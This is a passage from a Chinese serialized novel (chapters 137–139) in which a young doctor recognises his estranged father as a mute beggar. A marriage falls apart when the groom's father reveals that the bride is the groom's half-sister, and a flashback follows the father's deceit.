这时候,一个讨饭的乞丐走了过来,只见他浑身破烂,脏兮兮的,头发长到了脖子那么长,许久没洗打结在了一起,遮挡在了脸的前方,只露出掉了两个门牙的嘴巴,走起路来还一瘸一拐。 只见那乞丐把碗里讨来的两个馒头放到了周大夫的面前,周大夫笑着拒绝:“你不用给我东西了,我救你不过是举手之劳,你又何必每日前来,我可以养活我自己,不需要你每日为我乞讨!” 只见那乞丐嘴里发出“阿巴阿巴”的声音,含糊不清,让人难以理解他到底想要表达什么。宗海听着那声音,才确定那乞丐竟然是个哑巴! 宗海心中不禁有些诧异,他转过头对周大夫说道:“前辈,既然他执意要送给你东西,你不妨收了便是!” 周大夫听了宗海的话,犹豫了一下,但还是点了点头,表示同意。 然而,就在周大夫准备伸手去接那乞丐递过来的东西时,令人意想不到的事情发生了——那乞丐突然间像受到了惊吓一般,猛地转身,撒腿就跑! 周大夫完全没有预料到这一幕,他满脸疑惑地望着那乞丐远去的身影,喃喃自语道:“奇怪,怎么突然就跑了?我也不知道他是何方人士,那日我坐在这树下正在给别人诊脉,突然听到‘扑通’一声,我抬头一看,只见一个人跳进了河里!我赶紧冲过去,费了好大的力气才把他从河里救了上来。没想到他浑身湿漉漉的,还不停地颤抖着,更奇怪的是,他竟然自己咬了舌头!后面无论我怎么问他任何关于家人的消息,他都只是一脸呆滞,要么就只是摇头,想必也是个可怜之人呐!” “后面又不知道为何,他突然间的出去乞讨了,还把每天讨到的好东西都拿来送给我,我见他可怜,让他去我家中与我同住,都被他拒绝,他总是守在城东那条街上,想必是有什么未了的心事吧!” 宗海默默的听着,城东?自己小时候的家不正是在那一片嘛!提起城东,才发现自己许久都未曾回去过那条街道了!? 思索了片刻后,宗海站起身:“前辈,今日打扰已久,晚辈就先告辞了,下次,我定带上好酒好菜来与前辈不醉不归!” 周大夫笑着点了点头:“去吧,曹家那老妖婆我就容她再活些时日!” 宗海起身,朝着那东街走去,虽说曾经自己的家早已不在,当初的丁记豆腐铺,变成了如今的饭馆! 他心中虽怨恨曹家,但是更怨恨父亲!若不是父亲带回来那个女人,若不是父亲去了那曹记烟馆,好端端的家怎么会变成如今这副模样! 他站在那家饭馆门口,伙计一脸殷勤的迎上来:“客官,您里面请!想吃点什么?” 宗海还是第一次重新回到这件房子里面,房子里虽然曾经的摆设都不见了踪迹,但是那墙上曾经自己刻画的字迹,自己和弟弟妹妹一起比身高在门框上刻画的那条线,这种历史的痕迹,他们都完好的在那里,仿佛就是昨天才刻画上去的一般! 看着那些曾经的痕迹,想到了曾经幸福的过往,宗海不由得出了神,餐馆伙计见状:“我们店里的招牌东坡肉,还有肉酱豆腐,您要不要试一试?” 宗海的思绪被伙计的声音打断,他问道:“你说有豆腐?” 店铺伙计笑道:“您这客官可真是有意思!开饭馆的当然都有啊!一块豆腐而已,怎么在你眼里像是听到了珍馐美味似的!” 他却不知,宗海这十几年来,从未曾吃过豆腐,他对豆腐的印象还陈留在当年母亲的手艺里! 母亲在世那些年,家里每日都有没卖完的豆腐,母亲总有各种方法,做出一顿美味的菜肴,什么肉酱豆腐,小葱拌豆腐,大鱼炖豆腐,都是他们兄妹几个最爱吃的!自从母亲去后,他每每看到豆腐都会想到母亲,想念母亲亲手做的豆腐! 此刻的宗海坐在原来的家里,他不仅开始幻想着,有没有可能,母亲还在世,还会为他端出一碗美味的饭菜! 伙计看着宗海有些发呆,提议道:“客官,不如我给您上一道肉酱豆腐来尝尝?” 宗海转头看向伙计:“麻烦再给我来一道小葱拌豆腐吧!” 伙计转头吆喝道:“肉酱豆腐一份,小葱拌豆腐一份!” 厨房里的几个厨子笑道:“竟然有人这么爱吃豆腐,哈哈哈哈哈……” 不一会儿,两个菜端上了桌,伙计笑称:“看客官您面生,像是第一次来咱家饭馆,本店特意赠送您一碗米饭!” 宗海目光有些呆滞地凝视着面前的两道菜肴,仿佛它们承载着某种无法言说的情感。他缓缓伸出手,拿起筷子,小心翼翼地夹住一块豆腐,放入口中轻轻咀嚼。那一瞬间,一股淡淡的苦涩在他舌尖弥漫开来,他不禁苦笑着摇了摇头,喃喃自语道:“除了娘,这天底下恐怕再也没人能做出那种味道了吧!” 就在这时,门口突然传来一阵喧闹声。宗海抬起头,循声望去,只见饭馆的伙计正站在门口,对着一个人怒喝:“快滚快滚,滚远一些!别影响了我们做生意!” 宗海定睛一看,心中不由得一震——那不正是刚才在街上遇到的那位哑巴乞丐吗?他的衣衫褴褛,面容憔悴,看上去十分可怜。 宗海心生怜悯,连忙向饭馆伙计招手,示意他过来。伙计一脸不耐烦地走过来,宗海微笑着对他说:“这位兄弟,我想请外面那位进来与我一同落座吃饭,可以吗?” 饭馆的伙计一脸无奈的摇了摇头:“我知道您是好心,但是这叫花子天天坐我家门口,很是晦气!我可不能让他进来,你看他又脏又臭的,他要是进来了,那我店子的生意可就真的没法做了啊!” 宗海听明白了那伙计的意思,可是那乞丐为什么日日要来这家店门口呢,若说是为了吃食,这条街上大大小小的餐馆不下十家,为何唯独对这家情有独钟? 宗海面带微笑地看着那个伙计,语气平静地说道:“这样吧,你把我点的这些食物端出去送给他吃吧。我现在就买单。”话音未落,他便从口袋里掏出两张票子,轻轻地放在了桌上。 那伙计见状,连忙走过来,迅速收起了桌上的钱,然后小心翼翼地凑到宗海面前,满脸狐疑地问道:“客官您看,您点的这些菜都还没动过呢。如果您真的有心帮他,等您自己吃饱了,把剩下的饭菜倒给他吃,不也一样能让他填饱肚子吗?何必这么浪费,白白去送给那个叫花子吃呢?” 宗海嘴角微微上扬,露出一抹淡淡的笑容,他摆了摆手,回答道:“不用了,我还有其他事情要忙,就不在这里耽搁了。这些菜就当作是我送给他的吧,希望他能吃得开心。” 伙计无奈,只好端了出去,朝着那乞丐嚷嚷道:“臭要饭的,你过来,今儿个算你走运,里面那位爷心眼儿好,特地赏你的!吃完了可给老子滚远一些,别再杵在我家店门口了!” 伙计见那乞丐没有回应,又狠狠的朝着那乞丐踢了一脚:“跟你说话呢,听见了没有?” 只见那乞丐对伙计说的话不管不顾,像饿狗扑食一般,用那双黑呼呼的脏手,使劲的往嘴里扒拉着! 伙计露出一脸嫌弃的表情,用手捂住鼻子,赶紧后退了两步! 此时宗海拎着药箱走到这饭馆门口,摸着那破旧的木门上自己曾经刻过得痕迹,回头望了望自己曾经小时候的家,心中明白,一切终究是回不来的! 饭馆伙计嫌弃的用脚踢了踢那狼吞虎咽的叫花子:“别光是记着吃啊,你好歹也给那位爷磕两个头感谢人家一下啊!” 话音刚落,那乞丐微微抬头,正巧与宗海四目相对。 就在这一瞬间,时间仿佛凝固了一般。宗海的目光与那乞丐的目光交汇在一起,他看到了那乞丐眼中的一丝惊愕。 然而,下一秒,那乞丐却像疯了一般撒腿就跑!他的动作异常迅速,仿佛看到了什么可怕的事情。 看着那乞丐渐行渐远的背影,宗海皱起眉头,心中涌起一股异样的感觉。 饭馆伙计无奈的摇了摇头,对着宗海抱怨道:“你看,我就说吧,好心没好报啊!你好心请他吃东西,他倒好,吃完就跑!真是没良心……” 宗海对饭馆伙计的话不予理睬,转身回了家! 第137章 慌乱 其实那个乞丐,只是刚才那一眼,他便认出来了他,他就是那个投河自尽了的父亲,只是他没想到,竟被周大夫所救,也许这一切都是命吧…… 他明白,父亲一定也是认出来了他,所以才落荒而逃!他心中始终还无法原谅自己的父亲,索性在心底告诉自己,不用去关注他到底会怎么样? 就在当天傍晚,一个小孩跑进来,在药铺的柜台上放下一个东西撒腿就跑! 张雯雯在柜台后面急切地喊着:“那小孩儿,把你的东西带走啊!” 但是那个孩子丝毫没有回头,一转眼就没了身影,张雯雯有些好奇,便小心翼翼地打开了那用布包着的东西,竟是一副耳坠,看起来似乎有些年头了! 张雯雯拿起那耳坠跑到宗海的面前:“宗海,你快来看,这不知道从哪里来的一个小孩儿,怎么把这东西放下就跑掉了!” 宗海只是抬头瞥了那么一眼,瞬间眼中含泪,他颤抖的手轻轻捧着那对耳坠,好像得到了一个珍宝一般! 张雯雯满脸狐疑地看着宗海,疑惑地问道:“宗海,你认识那个孩子吗?” 宗海缓缓地摇了摇头,一脸茫然地回答道:“不认识!”他顿了顿,接着说道:“不过,我倒是认识这副耳坠。这是我娘的遗物,她生前一直把它藏在柜子底下,舍不得拿出来戴!” 张雯雯听了宗海的话,脸上顿时浮现出一股悲伤之情。她喃喃自语道:“这……竟然会是婆婆的遗物?那怎么会在那个孩子手上呢?” 宗海心中暗自思忖,他其实心里很清楚这其中的缘由。当年,母亲的那些首饰都被父亲拿去换了烟膏,而这副耳坠想必也是父亲让那孩子送来的。只是,他没有想到,父亲竟然还保留着这副耳坠! 宗海皱起眉头,他缓缓地伸出手,小心翼翼地将抽屉拉开,然后从里面取出一个用布包裹着的物品。 宗海轻轻地打开,里面是一只曾经属于他母亲的镯子,然而此刻,这只镯子已经被摔成了几段,断口处参差不齐,似乎在诉说着它曾经的故事。 宗海的手微微颤抖着,他慢慢地捧起那破碎的镯子,“这也是我娘生前的遗物!”宗海的声音略微有些沙哑,透露出他内心深处的痛苦。 站在一旁的张雯雯惊讶地看着宗海手中的碎镯子,她没想到宗海竟然一直保存着这件已经破碎的物品。 “没想到,你一直还保存着它。”张雯雯轻声说道,语气中充满了感慨和敬意。 宗海小心翼翼地将所有的物品都交到了张雯雯的手中,张雯雯接过这些物品,然后微笑着对宗海说:“放心吧,我一定会好好保存好这些东西的!”她的声音温柔而坚定。 再说那冯家,冯玉龙的父亲冯玉航从外地归来! 当他听闻儿子已经定了亲事,心中自然甚是欣慰…… 冯玉航眉开眼笑,一脸开心得说道:“你小子,我不过才数日未归,你竟连亲事都订了?我若是再晚些日子回来,你还不直接抱个孩子来给我瞧瞧啊!” 安素素也在一边娇嗔道:“瞧你这话说的,我看那丫头不错,长得白白净净的,而且啊,就比玉龙小那么一岁,名字里也带个玉字儿,你说跟咱家是不是很有缘分?” 冯玉航听着有些好奇的问道:“哦?怎么那丫头名字里也带个玉字?” 冯玉龙一脸高兴的说道:“我叫玉龙,她叫玉露,我们多像是一家人啊,是不是啊娘?” 安素素一脸微笑的回应着:“是,是,是,说不定哪天还真的能给我生个大胖孙子呢,不对,得是俩大胖孙子!” 冯玉龙在一边听的脸红到了耳根边上:“哎呀,娘,你这……又拿我开玩笑!” 安素素笑道:“这就不好意思了?明天去王家,把玉露和她娘一起接过来,咱们一起好好吃顿饭!” 冯玉航也笑道:“你娘说的对,起码也要让我这个做父亲的见一见未来的儿媳妇吧!” 冯玉龙挠着头:“明天我带她们来就是了!” 冯玉航想了想,却突然改了口:“不对,照理说,应该我亲自去拜访亲家才对啊!明日我陪你一起去那王家,这次帮你把成婚的日子给定下来!” 冯玉龙一脸兴奋的点着头:“嗯,都听爹的安排!” 转眼到了第二日,冯玉龙随着父亲带着礼物来到了玉露的家里! 此时只有玉露一个人呆在家里,玉露听到了敲门声,便打开了门,见来人是冯玉龙,虽有一丝惊讶却无半分惊喜! 玉露引着他们父子两个在堂屋里坐下,倒上了一杯茶:“我娘可能还要得会儿才能回来!” 冯玉龙见玉露脸色不好,急忙起身拉过王玉露的手,问道:“玉露,几日不见,你怎么还瘦了?可是有什么不开心的事情?看我又买了你最喜欢的糕点带来了……” 冯玉航看着儿子那一脸殷勤的模样,觉得自己杵在这儿有些大煞风景,他觉得自己在这里,这小丫头恐怕会害羞,都不好意思跟儿子讲话了! 冯玉航嘴角挂着一抹淡淡的微笑,缓缓地站起身来,他缓缓张口:“你们俩在这儿聊着,我去外面转一转,感受一下外面清新的空气。” 话音未落,他便迈步朝着院外走去,脚步轻快而稳健,似乎迫不及待地想要离开这个屋子。 就在他即将踏出院门的瞬间,背后传来了冯玉龙的呼喊声:“爹,你慢些走,别迷路了……”。 冯玉龙看着父亲的身影,走出了院门。然后,他转过头来,继续拉住王玉露的手,关切地问道:“你还没告诉我呢,到底是有什么事情让你不开心呀?” 王玉露的嘴唇微微颤动了一下,她下意识地摇了摇头,轻声说道:“没有。”然而,她的眼神却始终不敢与冯玉龙对视,似乎在刻意回避着什么。 冯玉龙见状,心中的疑虑更甚。他轻轻地扶过王玉露的肩膀,让她转过身来,面对面地看着自己。他的目光温柔而坚定,仿佛能穿透王玉露的内心:“玉露,你可逃不过我的眼睛。我一看你就知道你心里有事儿,说吧,到底是什么事情让你如此烦恼?说不定说出来,我还能帮你出出主意呢!” 王玉露的脸色微微一红,她犹豫了一下,还是吞吞吐吐地说道:“我……我真的没事,你不要瞎想啦!” 冯玉龙并没有轻易放弃,他微笑着鼓励道:“玉露,我喜欢的是那个天真活泼、可爱善良的你。我希望你能一直开开心心的,没有任何烦恼。如果你跟我在一起这么不开心,那又何必勉强自己呢?” 王玉露的眼眶突然湿润了,默默流出了眼泪。这突如其来的变化让冯玉龙措手不及,他急忙道歉道:“都怪我,都怪我,我真的不是那个意思啊!你别哭啊!” 冯玉龙看着王玉露依旧伤心难过,心中愈发焦急。他不停地自责着,怎么能把话说得那么难听呢?于是,他毫不犹豫地用手拍打着自己的脸颊,一边拍一边说道:“都怪我这张破嘴,玉露,你别伤心了,你打我吧,只要你能开心起来……” 然而,让冯玉龙意想不到的是,当他看到自己这滑稽可笑的模样时,王玉露竟然真的被逗笑了!那笑容如同春日里的花朵一般,美丽而动人。 冯玉龙见状,心中的一块大石头终于落了地。他一脸认真地望着王玉露,轻声说道:“玉露,你答应我,以后不要再哭了,好不好?我真的不想再看到你伤心难过的样子。” 王玉露白了他一眼,娇嗔地说道:“你讨厌,人家哭还不能哭了!哪有人像你这般霸道的!” 冯玉龙尴尬的摸了摸脑袋,开心地说道:“你笑起来的样子真好看。” 此时此刻,院子外面,冯玉航静静地站着,他的双手自然地垂放在身后,仿佛在沉思着什么。他的目光投向远方,欣赏着那片美丽的风景。 远处,冬月的麦苗如同一层翠绿的地毯,铺满了整个田野。在阳光的照耀下,麦苗显得格外油绿,生机勃勃。微风拂过,麦苗轻轻摇曳,仿佛在向人们展示它们顽强的生命力。 冯玉航凝视着这片麦田,远远的望去,似乎是看到了一个熟悉的身影,让他心头一颤,似乎是掀起了那在心底尘封已久的过往! 冯玉航的脑海里瞬间变得混乱不堪。他瞪大了眼睛,死死地盯着不远处的那个身影,心中暗自嘀咕:“她怎么会在这里??” 这个念头在他的心头不断盘旋,让他感到一阵莫名的烦躁和不安。他不知道自己是应该走过去打个招呼,还是装作没看见躲开。 冯玉航的内心像是被两股强大的力量拉扯着,一边是对她的好奇和关心,想要知道她现在的生活状况;另一边则是对这种突如其来的相遇感到有些尴尬和不知所措。 他就这样站在原地,像被施了定身咒一般,直愣愣地盯着那个方向,一动也不动。时间仿佛在这一刻凝固了,只有那个身影在越走越近。 秋容走到家门口,才发现门口站着一个男人,她也同样心底一颤,像丢了魂儿一般,手中的菜篮子也掉在了地上! 秋容像撞了鬼似的,立马冲进家里,还反锁上了门! 此时的冯玉航看着秋容进了面前的房子,还关上了门!他的心中犹如一道炸雷劈下,这……竟是秋容的家! 那么说……那孩子…… 玉露见母亲急匆匆的回来,立马上前:“娘,玉龙他们来了!” 秋容一脸尴尬的笑着:“玉龙怎么突然来了?”脸上还带着一丝慌张! 冯玉龙开心的笑着,露出了自己的两颗虎牙:“我跟我爹一起来的!他说要来给我和玉露正式定下日子!” 秋容轻轻地抬起手,将垂落在耳畔的几缕碎发撩起,小心翼翼地将它们拨到耳朵后面,仿佛这个动作能够掩盖住她内心的波澜。然而,尽管她努力让自己看起来平静如水,但实际上,她的内心早已如汹涌的波涛一般,无法平静。 她深吸一口气,尽量让自己的声音保持平静,说道:“你爹上次不是来过了嘛,怎么好意思再让他跑这一趟呢!” 冯玉龙的脸上露出一丝尴尬,他挠了挠头,有些不好意思地解释道:“上次来的那个……其实是我的舅舅!” 秋容闻言,不禁一愣,她原本以为那个男人就是冯玉龙的父亲,没想到竟然是他的舅舅。她的心中涌起一股疑惑,连忙追问道:“那不是你爹吗?那你爹呢?” 冯玉龙犹豫了一下,然后指了指门外,说道:“刚才他说要出去透透气,可能现在还在外面呢吧。” 秋容的脑海中突然闪过一个念头,仿佛一切都在瞬间变得清晰起来。她的脸色变得有些苍白,缓缓地坐在椅子上,一脸落寞地说道:“冯玉航……就是你爹?” 冯玉龙点了点头,似乎对秋容的反应有些意外,他问道:“你们见过了?” 就在这一瞬间,秋容面无表情地看着冯玉龙,仿佛他只是一个陌生人:“你走吧,我们两家的婚事就此作罢!” 冯玉龙完全被秋容的话震惊了,他瞪大了眼睛,满脸的难以置信。他怎么也想不到,秋容会如此轻易地就放弃了他们两家的婚事。他急切地想要解释,声音中带着一丝惶恐:“难道是我们哪里做错了吗?还是说,您觉得上次来的不是我父亲才生气的?” 然而,秋容并没有给他任何解释的机会。她的脸色变得愈发阴沉,眼神中充满了愤怒和失望。她几乎是怒吼着对冯玉龙说:“你给我滚出去!不要再让我见到你们!” 这突如其来的怒吼让王玉露也吓了一跳。她看着母亲如此愤怒的样子,心中不禁有些诧异。她小心翼翼地走到秋容身边,轻声问道:“娘,你怎么突然这么生气?” 第138章 玉露的身世 秋容胸口上下起伏着,似乎是挤满了怒气:“你给我进房间里面待着去!” 王玉露虽然也很纳闷母亲为什么会突然生这么大的气,但是她也只能听话的进了房间! 冯玉龙心中十分不甘,他觉得自己和玉露之间并没有什麼问题,可秋容却为何会突然如此坚决地反对他们在一起。 冯玉龙深吸一口气,让自己稍微冷静下来,然后鼓起勇气说道:“婶子,我真的很喜欢玉露,就算您不同意我们在一起,起码也应该给我一个合理的理由吧!上次我们见面的时候,不是还谈得挺愉快的吗?” 秋容看着冯玉龙,脸上露出了一丝无奈的苦笑。她沉默了片刻,然后缓缓说道:“有些事情并不是你看到的那么简单。你还是出去问问你爹吧,恕我不送了。”说完,秋容转身走进了屋里,留下冯玉龙一个人站在原地,满脸疑惑和失落。 冯玉龙挪着沉重的脚步,走了出去,冯玉龙望着门外的父亲,还是问出来了心中的那句话:“爹,您能告诉我为什么吗?你究竟是做了什么,为什么秋容婶子会突然那么绝情?” 冯玉航看着眼前这个满脸写着落寞和不甘的儿子,心中不禁涌起一阵疼惜。他轻轻地叹了口气,然后用温和的语气对儿子说道:“儿子啊,你先回家去吧,等过些日子,爹一定会把所有的事情都告诉你的。” 然而,冯玉龙却像是没有听到父亲的话一般,他紧紧地抿着嘴唇,眼神坚定地盯着父亲,固执地表示:“我不走,爹!如果你不告诉我原因,我就一直坐在这门口,绝对不会回去的!” 冯玉航见状,心中有些无奈。他知道儿子的脾气,一旦决定了的事情,九头牛都拉不回来。但他也明白,有些事情现在还不能告诉儿子,否则只会让他更加伤心和痛苦。 于是,冯玉航稍稍提高了声音,语重心长地对儿子说:“孩子啊,你就听爹的话,先回家去吧。你和她真的不能在一起啊!” 冯玉龙一脸失落的望着父亲:“爹,你怎么也这么说?难道说你真的有什么事情瞒着我?”他抬头的瞬间分明看到了父亲眼中的惊慌失措! 冯玉航故意转过身去,不敢看向儿子的眼睛,他定了定神,缓缓张口:“现在我还不能告诉你,以后有机会我会告诉你的!” 冯玉龙的脸上明显地流露出不情愿的神色,他紧紧地皱起眉头,语气坚决地说道:“我才不要听你说什么以后再告诉我呢!我现在就要知道!爹,算我求求你了,就算你真的惹得秋容婶子不高兴了,那也没关系啊,我可以代替你去给她道歉啊!我相信秋容婶子一定会原谅我们的!” 然而,冯玉航并没有回应冯玉龙的请求,他的目光缓缓地移向了那片略显阴郁的天空。他凝视着那片阴沉的云层,仿佛能从中看到一些不为人知的秘密。 过了一会儿,他深深地吸了一口气,然后慢慢地呼出,仿佛要把心中的烦恼和忧虑都随着这口气一起吐出去。 接着,冯玉航转过身来,面对着冯玉龙,他的声音平静而又严肃:“儿子,你看这天色突然变了,恐怕是要下雨了。我看你还是先回家去吧,其他的事情我们改日再谈。” 可是,冯玉龙却完全没有把父亲的话放在心上,他一脸认真的样子,甚至有些倔强。他突然扬起了头,张开双臂,对着天空大声喊道:“老天爷啊,你快下雨吧!把我淋湿才好呢!” 冯玉航见状,无奈地摇了摇头,他实在不明白冯玉龙为什么会这样做。他看着冯玉龙,叹了口气,说道:“你这孩子,到底是在做什么呀?” 冯玉龙有些生气的样子,最后张口说道:“我不管,我就是要知道原因,不然就算是下再大的雨,我也不会走的!说不定等下我真的淋湿了,玉露心疼我了,就让我进屋去了呢!明明我们一直都好好的,就自从你出现以后,秋容婶子像换了一个人一样,你倒是告诉我,到底是为什么啊?” 冯玉航闭上了眼睛,有些不敢面对玉龙的追问:“你不要再问了!一切都是我的错!” 冯玉龙皱着眉头,一脸疑惑的望着父亲:“爹,你在说什么啊?我怎么听不明白?你能说的再详细一点吗?” 此时天竟真的下起了雨,父子两个人选择躲在屋檐下面躲一下雨! 冯玉航看着此刻有些不太开心的儿子:“玉龙,人生并不是只有玉露姑娘这一个选择!等我们回家去了,我托人给你介绍一个门当户对的,配得上你的好姑娘!” 冯玉龙反驳道:“我才不要什么门当户对,我们两个都待过一个晚上了,我若是不娶她,那你让她怎么办?到时候她的名声都要被毁了!我做不出来这种事!” 冯玉航听的一脸惊愕,手指颤抖着指着眼前的儿子:“你……你说什么?你和她……?” 冯玉龙立马摆手,摇着头:“不是你想的那样!我们俩只是在客栈住过一晚上而已!” 冯玉航一巴掌扇在了儿子的脸上,他心中有些懊恼,懊悔自己曾经做过的错事如今竟会害了自己的孩子! 冯玉龙捂着自己被打的脸有些不明所以,他疑惑的问道:“爹,你从来都不会打我的!我做错了什么?我不过就是想跟玉露成婚而已啊!这不是你和娘一直盼望着的事情吗?” 冯玉航心中突然一紧,仿佛有一股无形的力量在催促着他,让他来不及思考后果,便脱口而出道:“你……你跟谁成婚,也不该跟你同父异母的妹妹成婚啊!” 冯玉航的话就像一道炸雷劈在了冯玉龙的头上,他不敢相信自己此刻听到的话语,难以置信得问道:“爹,您刚才说什么?您是不是不喜欢玉露才故意说这种话来骗我的!?” 冯玉航此刻也就没了隐瞒:“孩子,都是爹的错!玉露他确实是你的妹妹啊!” 冯玉龙一脸惊愕,眼神彻底黯淡了下来,问道:“我娘她也不知道这些吧?” 冯玉航这才想起来,这事情自己的妻子确实从不知晓,便放低了语气:“儿子,这事儿你可千万不要告诉你娘啊!” 冯玉龙冷哼了一声,一脸不屑的说道:“自己做的丑事还不敢让别人知道,你还算什么男人,你配不上秋容婶子,更配不上我娘,从今天开始,我没有你这样的爹!”说着就冲进了雨中! 冯玉航本想追向儿子,可是他又觉得此刻玉龙肯定在气头上,不如等他稍微消消气也好! 冯玉航确实这十几年来都未曾见过秋容了,那个叫玉露的女孩儿,他刚才还是第一次见,长得跟她娘一样的清秀漂亮,孩子长到这么大,自己这个做父亲的也没有尽到半分养育之情,心中自是充满着愧疚之意! 原来,当初,安素素与冯玉航成婚之前就认识了秋容,后又通过自家叔叔介绍,认识了安素素,只因冯玉航的叔叔出门在外被坏人偷走了钱财,最后被安素素一家救了急! 于是,他那无儿无女的叔叔,便写好了嘱托,若他日,他驾鹤西去,名下的那座茶楼便由安家继承! 可冯玉航的父亲可不这么想,他们两个可是亲兄弟,他名下的产业居然不打算留给自己,居然还打算给外人!心中乃是十分的气愤! 所以当叔叔把安素素介绍给冯玉航认识的时候,冯玉航的父亲便表示:“玉航啊,你可一定要把握住这发财的好机会啊!你也不想一辈子就困在这村凹凹里面吧!? 冯玉航有些不解的问道:“爹,你这话说的是什么意思啊?” 冯父叹了一口气,接着说道:“我知道你已经有了喜欢的姑娘了,但是爹今天求你,娶了那安素素!” 冯玉航瞪大了双眼,看向父亲:“为什么要我娶她?难道就为了那座茶楼?” 冯父眉头紧皱,看着冯玉航,语气严肃地说道:“那座茶楼怎么了?它可是咱们冯家的产业,你不娶,难道要让它落入他人之手吗?” 冯玉航一脸无奈地回答道:“就算我娶了她,那又能怎样呢?到时候不还是得听安家的吗?” 冯父听后,嘴角微微一笑,宽慰道:“你这孩子,怎么这么傻呢?你要是真的把那安家的女子娶回家,安家自然就不好意思再要咱们冯家的东西啦!毕竟她都已经嫁过来了,心自然也是向着你这边的,又怎么会轻易地把那么重要的茶楼交给她的娘家人去呢?” 冯玉航似乎对父亲的话有些难以置信,迟疑地问道:“真的会像你说的这么简单吗?” 冯父拍了拍儿子的肩膀,自信满满地说:“你就相信为父吧,爹是过来人,绝对不会骗你的!我跟你叔叔说好了,明日你就去他茶楼帮忙,趁机跟那安家小姐好好培养感情,听懂了没有!” 冯玉航嘴巴里虽然“哦”了一声,心里却想着:“那秋容该怎么办呢,我以后还怎么面对她啊!?” 但是知子莫若父,他的父亲一眼便看穿了他心中在想些什么,冯父笑了笑,说道:“你放心,你娶安家女子的事儿我帮你瞒着就是!对外我就说你出去找了个老师傅学手艺去了,娶亲就在你叔父的茶楼里面办,等你娶了那安家的女子,你叔父的茶楼归了你,那以后想做什么还不就你自己说了算了嘛!你想想那茶楼一天的进账,是不是都要顶上咱家一个月的收入了!” 冯父的这段话真真的是彻底的说进了冯玉航的心坎里,钱财谁不爱,美女又有谁不爱呢? 何况是安素素那样的文静女子,安素素的父亲本就是临县的教书先生,所以他的儿女自然是从小就受到了良好的教育。他们在父亲的教导下,不仅学会了读书写字,还懂得了许多为人处世的道理。在这样的家庭环境中成长起来的孩子们,个个都聪明伶俐、知书达理,本就不是他这个乡野小子能够攀得上的! 再说秋容,就算是一直喜欢她,她娘也不会同意她跟着自己过苦日子啊!不如就按爹说的办法来,若是成了,自己就有了翻身的机会,若是不成,再回来娶了那秋容也没什么! 于是,当所有人都以为冯玉航只是去外面学手艺了,冯玉航早已顺利的和安素素成了亲!只有秋容还傻傻的等着他学成归来! 时光一过就是一年,出门学手艺的冯玉航突然回来了,旁人不知晓其中缘由,冯家人可清楚着呢! 那是因为安素素怀孕数月了,行动不便,冯玉航希望母亲能够亲自过去帮衬照料着! 冯家父母自然是高兴的合不拢嘴,立马收拾了东西就奔向县城去了! 冯玉航此时却交代了父母,自己还有别的事情,处理完就回来,父母满心惦记着儿媳和那肚子里未出世的小孙孙,也便没有多想! 可是冯玉航的父母刚离开家门,他就迫不及待的去见了秋容,秋容正在河边洗衣服,看见冯玉航自然也是开心的丢下了手头的衣服,两个人拥抱在了一起! 冯玉航端起水盆,拉起秋容就回了自己的家! 秋容红着脸问道:“你怎么带我来你家里了?” 冯玉航放下了水盆,一把拉着秋容进了屋:“我带了好东西给你!” 秋容小声地问道:“什么东西,这么神神秘秘的?” 冯玉航从包裹里掏出来一堆小玩意儿,全是女人用的东西,什么胭脂,口脂,还有一罐香发膏…… 秋容轻轻地拿起那瓶精致的香发膏,凑近鼻子闻了一下,一股淡淡的香气瞬间钻进了她的鼻腔,让她不禁感叹道:“好香啊!” 就在这时,一只温暖的手臂突然从背后伸过来,紧紧地抱住了秋容。秋容吓了一跳,回头一看,原来是冯玉航。他面带微笑,温柔地看着秋容,轻声说道:“它再香,哪有你香呢?” 第139章 曾经的过往 秋容的脸颊顿时泛起了一抹红晕,她有些羞涩地说:“讨厌,别胡闹啦,等下伯父伯母发现就不好了!”她试图挣脱冯玉航的怀抱,但冯玉航却不肯松手。 冯玉航笑着说:“他们已经答应我娶你了,你还怕什么呢?” 秋容惊讶地看着冯玉航,不敢相信自己的耳朵:“你说的是真的?” 冯玉航点点头,肯定地说:“当然是真的啦,我怎么会骗你呢?不信的话,你可以去问我爹娘啊?” 秋容的心中充满了喜悦,但她还是有些不确定地问:“那他们真的同意我们在一起了?” 冯玉航嘴角上扬,露出一个自信的笑容:“真不真,你摸摸不就知道了!”说着,他抱起,朝着床铺走去。 其实,冯玉航带回来的那些个女人的玩意儿,不过是安素素平日里爱用的,因为有孕后对气味很是敏感,她忍受不了那香味,便都丢掉了! 这些东西也是冯玉航在她丢的一堆东西里面翻出来的几个看起来好像没怎么用过的,他偷偷藏了起来,直到今日出门才偷偷带了出来,送给了秋容! 再加上安素素有孕之身月份逐渐大了,看起来大肚便便,也不像之前那般好看了,自己男性的欲望更是无处发泄,他想到了秋容,更想念秋容那年轻饱满的身材! 索性,这次打着请父母去照顾安素素,自己还要出门去临县采买茶叶的幌子,他才明目张胆的回来私会秋容! 其实那茶叶,他早就藏好了一批在别的地方,等自己在家逍遥快活够了一段时日,再带上茶叶回去也不迟! 秋容一觉醒来天都黑了,她立马摸索着自己的衣服:“玉航,快,天都黑了,我要回家去了!” 冯玉航却一把抱住秋容:“我不要你走!” 秋容满脸透着焦急:“不行啊,我再不回家,我娘要打死我的!” 冯玉航一脸哀怨地看着对方,眼中流露出深深的渴望,他的声音略微带着一丝颤抖,轻声说道:“真的不能留下来陪我嘛……” 秋容抱住了冯玉航,朝他亲了一下:“我明天再来找你!” 冯玉航却突然翻身到了上面:“一年没见,你都不想我吗?我可想死你了!” 两个年轻的人在无人打扰的房间里翻云覆雨,秋容在这一刻全身心的都交给了冯玉航,她觉得,冯玉航一定会娶她! 接下来的半个月时间里,两个人几乎天天腻歪在一起! 冯玉航更是把安素素抛在了脑后,竟心安理得的跟秋容过起了小夫妻般的幸福生活! 只是这一日,他们两个正腻歪的抱在一起的时候,突然,门从外面开了,居然父亲怎么会突然回来了! 冯玉航急忙披上衣服,跑了出来:“爹,你怎么突然回来了?” 冯父见到儿子也是突然一愣:“你不是采买茶叶去了嘛!怎么还在家里?” 冯玉航吞吞吐吐的说道:“这……这不是刚……刚才到家嘛!” 冯父一脸慌张的样子说道:“那你赶快跟我一起走,你娘让我回来把她之前做好的小孩儿衣服带上,说是可能最近就要生了!” 此时,秋容也脸红着从里屋走了出来:“叔,你这是有什么急事吗?” 冯父一看也知道发生了什么,便不再多说:“哦,没什么,我还有点事儿,先走了!”说着又看向儿子:“你手艺还没学会,就想着给自己放假了?” 秋容望向冯玉航,一脸的担忧:“伯父说的是真的吗?你不是学会了才回来的吗??” 